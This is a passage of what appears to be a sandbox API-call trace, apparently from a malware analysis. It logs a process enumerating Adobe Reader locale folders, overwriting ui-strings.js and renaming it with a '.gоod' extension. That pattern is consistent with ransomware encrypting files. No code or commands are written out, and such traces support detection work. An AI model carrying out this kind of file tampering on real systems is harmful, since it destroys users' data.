hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0176.681] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0176.682] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0176.682] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0176.682] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0176.682] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0176.682] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0176.682] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0176.682] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0176.682] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0176.682] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0176.683] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0176.683] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0176.683] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0176.683] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0176.683] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0176.683] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0176.683] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0176.683] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0176.684] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0176.684] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0176.684] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0176.684] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0176.684] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0176.684] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0176.684] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0176.684] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0176.684] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0176.685] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0176.685] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0176.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffec640) returned 1 [0176.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffec600) returned 1 [0176.686] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ui-strings.js", lpFilePart=0x0) returned 0x72 [0176.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffec4b0) returned 1 [0176.686] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x366e0b8 | out: lpFileInformation=0x366e0b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4c0)) returned 1 [0176.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffec470) returned 1 [0176.687] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ui-strings.js", lpFilePart=0x0) returned 0x72 [0176.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffec360) returned 1 [0176.687] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0176.687] GetFileType (hFile=0x6e0) returned 0x1 [0176.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffec2d0) returned 1 [0176.687] GetFileType (hFile=0x6e0) returned 0x1 [0176.687] GetFileSize (in: hFile=0x6e0, lpFileSizeHigh=0x1ffec508 | out: lpFileSizeHigh=0x1ffec508*=0x0) returned 0x4c0 [0176.687] ReadFile (in: hFile=0x6e0, lpBuffer=0x366e8d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffec438, lpOverlapped=0x0 | out: lpBuffer=0x366e8d0*, lpNumberOfBytesRead=0x1ffec438*=0x4c0, lpOverlapped=0x0) returned 1 [0176.965] CloseHandle (hObject=0x6e0) returned 1 [0176.991] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ui-strings.js", lpFilePart=0x0) returned 0x72 [0176.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffec360) returned 1 [0176.991] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0177.013] GetFileType (hFile=0x6e0) returned 0x1 [0177.013] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffec2d0) returned 1 [0177.013] GetFileType (hFile=0x6e0) returned 0x1 [0177.013] WriteFile (in: hFile=0x6e0, lpBuffer=0x347b618*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x1ffec348, lpOverlapped=0x0 | out: lpBuffer=0x347b618*, lpNumberOfBytesWritten=0x1ffec348*=0x4d0, lpOverlapped=0x0) returned 1 [0177.014] CloseHandle (hObject=0x6e0) returned 1 [0177.014] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ui-strings.js", lpFilePart=0x0) returned 0x72 [0177.014] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x77 [0177.014] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffec470) returned 1 [0177.014] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffec550 | out: lpFileInformation=0x1ffec550*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x65b911b4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4d0)) returned 1 [0177.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffec430) returned 1 [0177.014] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ui-strings.js.gоod")) returned 1 [0177.015] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0177.015] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ar-ae", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ar-ae", lpFilePart=0x0) returned 0x6a [0177.016] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ar-ae\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0177.016] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0177.017] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0177.017] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0177.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0177.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0177.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0177.017] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ar-ae", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ar-ae", 